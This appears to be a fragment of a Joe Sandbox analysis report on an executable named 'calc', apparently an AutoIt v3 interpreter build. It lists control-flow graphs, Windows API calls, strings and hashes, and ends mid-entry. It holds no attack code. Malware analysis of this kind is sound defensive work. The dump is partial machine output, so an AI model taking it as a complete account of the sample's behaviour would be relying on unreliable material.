      control_flow_graph 529 4253c3-4253e3 530 4253e5-4253e8 529->530 531 4253ea-4253ed 529->531 532 4253f0-425400 call 4184a9 530->532 531->532 535 425402-425405 532->535 536 42541e 532->536 537 425407-42540a 535->537 538 42540c-42540f 535->538 539 425422-425427 536->539 540 425412-42541c call 41858e 537->540 538->540 541 4254db-4254de 539->541 542 42542d 539->542 540->536 540->539 544 4254e0-4254e3 541->544 545 4254eb-4254ee 541->545 546 42542f-425436 542->546 548 4254f0-425590 call 4184a9 call 4497d7 call 414bbc call 414e6e call 449da6 call 44912a * 2 GetCurrentDirectoryW SetCurrentDirectoryW 544->548 545->548 549 425438-42543b 546->549 550 42543d-425441 546->550 593 425592-4255a1 call 414e55 548->593 594 4255d5 548->594 551 425446-425447 549->551 552 425443 550->552 553 425448-42544f 550->553 551->553 552->551 556 4254c1 553->556 557 425451-425455 553->557 558 4254c3-4254c6 556->558 557->556 560 425457-42545b 557->560 563 4254c8-4254cb 558->563 564 4254cd 558->564 561 4254bc 560->561 562 42545d-425461 560->562 567 4254be-4254bf 561->567 562->561 568 425463-425467 562->568 569 4254d0-4254d5 563->569 564->569 567->558 571 4254b8-4254ba 568->571 572 425469-42546d 568->572 569->541 569->546 571->567 572->571 574 42546f-425473 572->574 576 4254b4-4254b6 574->576 577 425475-425479 574->577 576->567 577->576 579 42547b-42547f 577->579 581 425481-425485 579->581 582 4254ad-4254b2 579->582 581->582 584 425487-42548b 581->584 582->558 586 4254a6-4254ab 584->586 587 42548d-425491 584->587 586->558 587->586 589 425493-425497 587->589 591 425499-42549d 589->591 592 42549f-4254a4 589->592 591->592 595 4254e5-4254e6 591->595 592->558 601 425602-425615 call 425639 593->601 602 4255a3-4255ca GetFileAttributesW SetFileAttributesW 593->602 596 4255d6-4255de call 418a14 594->596 595->596 603 425630-425636 596->603 609 42561a-42561c 601->609 605 4255e0-4255e4 602->605 606 4255cc-4255d3 SetCurrentDirectoryW 602->606 607 4255e6-425601 SetCurrentDirectoryW call 449154 605->607 608 425627-42562e SetCurrentDirectoryW 605->608 606->594 607->601 608->603 609->608 611 42561e-425622 call 418a14 609->611 611->608
      APIs
      • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00425579
      • SetCurrentDirectoryW.KERNEL32(?), ref: 0042558C
      • GetFileAttributesW.KERNEL32(?), ref: 004255AA
      • SetFileAttributesW.KERNEL32(?,00000000), ref: 004255C2
      • SetCurrentDirectoryW.KERNEL32(?), ref: 004255D3
      • SetCurrentDirectoryW.KERNEL32(?), ref: 004255ED
      • SetCurrentDirectoryW.KERNEL32(?,?,00000000,00000000,00000000), ref: 0042562E
        • Part of subcall function 00414E55: GetFileAttributesW.KERNEL32(?,00414BDE,?), ref: 00414E59
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CurrentDirectory$AttributesFile
      • String ID: *.*
      • API String ID: 769691225-438819550
      • Opcode ID: 4060c85384e43a68a18dcb34ae9707316a9a80c1a26ced448f1b3118e47c3abc
      • Instruction ID: cec699d4ab6f872af63f9f09c0b7b1415ff4196bd1174d8bb20d814695fc6a34
      • Opcode Fuzzy Hash: 4060c85384e43a68a18dcb34ae9707316a9a80c1a26ced448f1b3118e47c3abc
      • Instruction Fuzzy Hash: C171C975A00529AADB20FA54EC44BDAF378EB04316FD480ABE549D3140DB3C9EC68F59
      Function 0040165B Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 131windowCOMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 614 40165b-40166c 615 401676-401679 614->615 616 40166e-401670 614->616 618 401782-401789 615->618 619 40167f 615->619 616->615 617 40180f-401816 616->617 625 40181f-401822 617->625 622 4017fb-40180d call 4126bc 618->622 623 40178b-40178d 618->623 620 401685-401688 619->620 621 40174c-40177d call 42a895 call 42026c 619->621 627 401711-401736 SetTimer RegisterClipboardFormatW 620->627 628 40168e-40168f 620->628 621->617 622->617 633 4017cf-4017d1 622->633 629 4017eb-4017f9 call 4125ea 623->629 630 40178f-401794 623->630 632 40173c-401747 CreatePopupMenu 627->632 627->633 635 401691-401694 628->635 636 4016f2-40170c KillTimer call 412dd7 PostQuitMessage 628->636 629->633 638 4017d3-4017d9 630->638 639 401796-40179b 630->639 632->633 633->625 642 4016d1-4016ed MoveWindow 635->642 643 401696-401698 635->643 636->633 638->617 644 4017db-4017e9 call 401825 638->644 646 4017c1-4017ca call 412e32 639->646 647 40179d-4017a3 639->647 642->633 651 4016c0-4016cc SetFocus 643->651 652 40169a-40169d 643->652 644->617 646->633 647->617 654 4017a5-4017ac 647->654 651->633 652->647 656 4016a3-4016bb call 42a895 652->656 654->617 655 4017ae-4017bf call 412dd7 call 4128c6 654->655 655->617 656->633
      APIs
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Focus
      • String ID: TaskbarCreated
      • API String ID: 2734777837-2362178303
      • Opcode ID: c7910e21aebc1e6a89a499fde730aec7c7ffe658abb426c78a0addb64026b91b
      • Instruction ID: f800d809c8c6698ce890321309edba9d95731fd3cb02d329e72dbe3815dc5fcc
      • Opcode Fuzzy Hash: c7910e21aebc1e6a89a499fde730aec7c7ffe658abb426c78a0addb64026b91b
      • Instruction Fuzzy Hash: D141FCB2514249EFDB26BF68DC449AA3A96B740305F18843BF505E32F1D67DCC64872E
      Function 00404205 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 49registrywindowclipboardCOMMON
      Download Yara Rule

      Control-flow Graph

      APIs
      • GetSysColorBrush.USER32(0000000F), ref: 00404213
      • RegisterClassExW.USER32(?), ref: 0040425E
      • RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00404269
      • LoadIconW.USER32(00400000,000000A9), ref: 004042A8
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Register$BrushClassClipboardColorFormatIconLoad
      • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
      • API String ID: 975902462-1005189915
      • Opcode ID: fae248194e1b08d180a7888b94dd6c1f5fcc801a55d459cf83fb6d57dbcbcab5
      • Instruction ID: f45efb3e6643885d8ae29e22a69861e66850a50a293dcdb7155dbe3626e9ac17
      • Opcode Fuzzy Hash: fae248194e1b08d180a7888b94dd6c1f5fcc801a55d459cf83fb6d57dbcbcab5
      • Instruction Fuzzy Hash: 3A2164B1810308EFDB10DFA4D889BDEBBF4FB08726F00452AE642A62D1D7B59548CF54
      Function 0040F71A Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 164registryCOMMON
      Download Yara Rule

      Control-flow Graph

      APIs
      • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0040F781
      • RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00020019,?), ref: 0040F815
      • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?), ref: 0040F83F
      • RegCloseKey.ADVAPI32(?), ref: 0040F92A
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CloseFileModuleNameOpenQueryValue
      • String ID: Include$Software\AutoIt v3\AutoIt$\
      • API String ID: 3617018055-2276155026
      • Opcode ID: 03b03b1970ee83669f439e37e25cce8a1ceb94ebf8fe9a10bc2f80fcae784922
      • Instruction ID: 50f134da1176b66dbd367ed9ac3c4cf0d0d6e1090dbeac708e74059743c4f1f0
      • Opcode Fuzzy Hash: 03b03b1970ee83669f439e37e25cce8a1ceb94ebf8fe9a10bc2f80fcae784922
      • Instruction Fuzzy Hash: 60512BB2940718AFD720DFA5C88499BB7F8FF18704F5045AFE54AE3641E734AA44CB58
      Function 0044BE98 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134COMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 842 44be98-44beea call 44d788 call 44c070 GetVersionExA 847 44beec-44bef2 842->847 848 44bef8-44bf12 GetModuleHandleA 842->848 847->848 849 44bf14-44bf1f 848->849 850 44bf33-44bf36 848->850 849->850 852 44bf21-44bf2a 849->852 851 44bf5f-44bf69 call 44e07d 850->851 861 44bf73-44bf7a call 44c499 851->861 862 44bf6b-44bf72 call 44be74 851->862 854 44bf2c-44bf31 852->854 855 44bf4b-44bf4f 852->855 854->850 856 44bf38-44bf3f 854->856 855->850 857 44bf51-44bf53 855->857 856->850 859 44bf41-44bf49 856->859 860 44bf59-44bf5c 857->860 859->860 860->851 867 44bf84-44bf93 call 4502e3 call 4505a6 861->867 868 44bf7c-44bf83 call 44be74 861->868 862->861 875 44bf95-44bf9c call 44be4f 867->875 876 44bf9d-44bfb8 call 4536f2 call 453588 call 4534f2 867->876 868->867 875->876 885 44bfc2-44bfc9 call 4532bf 876->885 886 44bfba-44bfc1 call 44be4f 876->886 891 44bfd3-44bfe0 call 44ae57 885->891 892 44bfcb-44bfd2 call 44be4f 885->892 886->885 897 44bfe2-44bfe8 call 44be4f 891->897 898 44bfe9-44c002 GetStartupInfoW call 453279 891->898 892->891 897->898 903 44c004-44c008 898->903 904 44c00a-44c00c 898->904 905 44c00d-44c023 GetModuleHandleA call 401852 903->905 904->905 908 44c025-44c026 call 44af84 905->908 909 44c02b-44c06b call 44afa6 call 44d7c3 905->909 908->909
      APIs
      • GetVersionExA.KERNEL32(?,0045B1B8,00000060), ref: 0044BEB8
      • GetModuleHandleA.KERNEL32(00000000,?,0045B1B8,00000060), ref: 0044BF0B
      • _fast_error_exit.LIBCMT ref: 0044BF6D
      • _fast_error_exit.LIBCMT ref: 0044BF7E
      • GetStartupInfoW.KERNEL32(?,?,0045B1B8,00000060), ref: 0044BFF0
      • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0044C013
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: HandleModule_fast_error_exit$InfoStartupVersion
      • String ID: `#v
      • API String ID: 3067550359-272240289
      • Opcode ID: e15d8d6f7bf71f38bc871b6429c016019c3b91647409690afd64dbd241c0bdb0
      • Instruction ID: 4397700529556a9b6abbbd61bb681adda0ddf508862c8991d2dc27ae9542f7d9
      • Opcode Fuzzy Hash: e15d8d6f7bf71f38bc871b6429c016019c3b91647409690afd64dbd241c0bdb0
      • Instruction Fuzzy Hash: F941B670D01310DAEB21AFA69C056AE36A0EF44718F24443FF808DA292DB7CC945DBDD
      Function 0041F7E3 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 208COMMON
      Download Yara Rule

      Control-flow Graph

      APIs
      • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 0041F82A
      • UnregisterHotKey.USER32(?), ref: 0041F860
      • FindClose.KERNEL32(?), ref: 0041F8D9
      • FreeLibrary.KERNEL32(00000000), ref: 0041F935
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CloseFindFreeLibrarySendStringUnregister
      • String ID: close all$#v
      • API String ID: 3080552100-3101823635
      • Opcode ID: b9280a75a0d9f507fc8712bebc7b43ef7d74a75ebad66014674356505a84a988
      • Instruction ID: 3646f2384ccb1e0e64c597d038a8f1cfb5bbf3df6652e1d2dd11040289734faa
      • Opcode Fuzzy Hash: b9280a75a0d9f507fc8712bebc7b43ef7d74a75ebad66014674356505a84a988
      • Instruction Fuzzy Hash: 4F712F312401589BDB31BF26DC81AED7766AF91315F40017FF8099B172CF395E9ADA48
      Function 004200F5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124COMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 1049 4200f5-42010b 1050 42012a-420136 1049->1050 1051 42010d-420125 call 41faee 1049->1051 1053 420165-42016b 1050->1053 1054 420138-420155 call 4323fe 1050->1054 1058 420265-420269 1051->1058 1057 4201d0-4201d6 1053->1057 1054->1053 1062 420157-420160 call 421406 1054->1062 1060 4201d8 1057->1060 1061 42016d-420173 1057->1061 1063 4201e6-4201f5 1060->1063 1061->1063 1064 420175-420185 call 42003a 1061->1064 1062->1053 1065 420200-42021f call 42a895 call 406ad8 1063->1065 1066 4201f7-4201fe 1063->1066 1072 420187-420190 call 42036e 1064->1072 1073 4201da-4201e1 call 418a14 1064->1073 1069 420263 1065->1069 1081 420221-420240 call 42026c LockWindowUpdate KiUserCallbackDispatcher 1065->1081 1066->1069 1069->1058 1072->1057 1080 420192-4201ad call 40fc6b 1072->1080 1073->1063 1086 4201b7-4201cb call 4320d3 1080->1086 1087 4201af-4201b5 1080->1087 1088 420256-420261 GetMessageW 1081->1088 1086->1057 1087->1057 1088->1069 1090 420242-420250 TranslateMessage DispatchMessageW 1088->1090 1090->1088
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: LoadString
      • String ID: OnAutoItStart
      • API String ID: 2948472770-779282396
      • Opcode ID: b7450ae3f2511fa549ad06ec8c8ef8b57f7694bac96b9a24d91e34451de1bce3
      • Instruction ID: 596ddb237f3c4dbc422733f4dbf707e667353c10c10091e38a87b0e8f6c63aa8
      • Opcode Fuzzy Hash: b7450ae3f2511fa549ad06ec8c8ef8b57f7694bac96b9a24d91e34451de1bce3
      • Instruction Fuzzy Hash: 0C410471B04229ABC715DB74AC84AFFB7ECFB05308F50412BE415D3243EB68AD1687A9
      Function 00401371 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 1091 401371-4013e1 CreateWindowExW * 2 ShowWindow * 2
      APIs
      • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,?), ref: 0040139F
      • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 004013C0
      • ShowWindow.USER32(00000000), ref: 004013D4
      • ShowWindow.USER32(00000000), ref: 004013DD
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Window$CreateShow
      • String ID: AutoIt v3$edit
      • API String ID: 1584632944-3779509399
      • Opcode ID: 50910c52fbc06293d40c549713fca855e76ea37ac9ada999b4250cc0ee2bbbe8
      • Instruction ID: c1bcc58241d8bb41d686f4cc75eac745dfcef030c9692a37be27f8a629f86a69
      • Opcode Fuzzy Hash: 50910c52fbc06293d40c549713fca855e76ea37ac9ada999b4250cc0ee2bbbe8
      • Instruction Fuzzy Hash: D5F03AB11463747AE6321B536C08EEB2E5DEF867B9F110421F90892160E2A55950CAF9
      Function 0044ADFD Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 13libraryloaderCOMMONLIBRARYCODE
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 1092 44adfd-44ae0a 1094 44ae22-44ae26 ExitProcess 1092->1094 1095 44ae0c-44ae1a GetProcAddress 1092->1095 1095->1094 1096 44ae1c 1095->1096 1096->1094
      APIs
      • GetModuleHandleA.KERNEL32(mscoree.dll,0044AF6B,?,0045B120,00000008,0044AFA2,?,00000001,00000000,00454705,00000003), ref: 0044AE02
      • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0044AE12
      • ExitProcess.KERNEL32 ref: 0044AE26
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressExitHandleModuleProcProcess
      • String ID: CorExitProcess$`#v$mscoree.dll
      • API String ID: 75539706-966225676
      • Opcode ID: b17e66e1c60e703c919b077964af005c51aeddcd4bd0fbb943e394ff849fcc91
      • Instruction ID: 53a9ad44f3a9e6b916fa28b3adb372b4395d43277910e5f1d752cbfe1555cb17
      • Opcode Fuzzy Hash: b17e66e1c60e703c919b077964af005c51aeddcd4bd0fbb943e394ff849fcc91
      • Instruction Fuzzy Hash: CBD0C930280701FBEF405B719C0AA2B7A68FE44B47F108C75B819D8263CB78CC10DA2E
      Function 00455359 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 247fileCOMMON
      Download Yara Rule
      APIs
      • CreateFileW.KERNEL32(80000000,80000000,00000000,0000000C,00000001,00000080,00000000,00000001,00000000,00000000), ref: 00455536
      • GetFileType.KERNEL32(00000000), ref: 00455543
      • CloseHandle.KERNEL32(00000000), ref: 0045554E
      • GetLastError.KERNEL32 ref: 00455554
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: File$CloseCreateErrorHandleLastType
      • String ID: H
      • API String ID: 1809617866-2852464175
      • Opcode ID: 5ce06f682877ec76a1bbaac30100a30f596ab4e7cb3384c2f439e5053bbd4e01
      • Instruction ID: 3dea303bc14a8af4d4d0b503b19b291cd52b6a6c41b7bea232f97b06bbe31069
      • Opcode Fuzzy Hash: 5ce06f682877ec76a1bbaac30100a30f596ab4e7cb3384c2f439e5053bbd4e01
      • Instruction Fuzzy Hash: 02810671804A49AAEF218B94C8653BF7B70AF0231BF24415BEC51A72D3D77C498DCB5A
      Function 00455BA1 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 247fileCOMMON
      Download Yara Rule
      APIs
      • CreateFileA.KERNEL32(80000000,80000000,0046270C,0000000C,00000001,00000080,00000000,?,00000000,00000000), ref: 00455D7E
      • GetFileType.KERNEL32(00000000), ref: 00455D8B
      • CloseHandle.KERNEL32(00000000), ref: 00455D96
      • GetLastError.KERNEL32 ref: 00455D9C
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: File$CloseCreateErrorHandleLastType
      • String ID: H
      • API String ID: 1809617866-2852464175
      • Opcode ID: aefb27ce640e5ec0de87e9abf81864acf92e705f4e30c285089214354cd5a602
      • Instruction ID: 18fb0dc3de688eab9ec8008dfc50e8359a27c51e16112c87510f03193277da9b
      • Opcode Fuzzy Hash: aefb27ce640e5ec0de87e9abf81864acf92e705f4e30c285089214354cd5a602
      • Instruction Fuzzy Hash: 5D812471804B499AEF228B98C8693BE7B709F0231AF24415BEC51A72D3C77D4A4DC75A
      Function 0041629F Relevance: 7.5, APIs: 5, Instructions: 32serviceCOMMON
      Download Yara Rule
      APIs
      • OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,00479E08,?,0040119C,?,?), ref: 004162B3
      • LockServiceDatabase.ADVAPI32(00000000,?,0040119C,?,?), ref: 004162C0
      • UnlockServiceDatabase.ADVAPI32(00000000,?,0040119C,?,?), ref: 004162CB
      • CloseServiceHandle.ADVAPI32(00000000,?,0040119C,?,?), ref: 004162E3
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
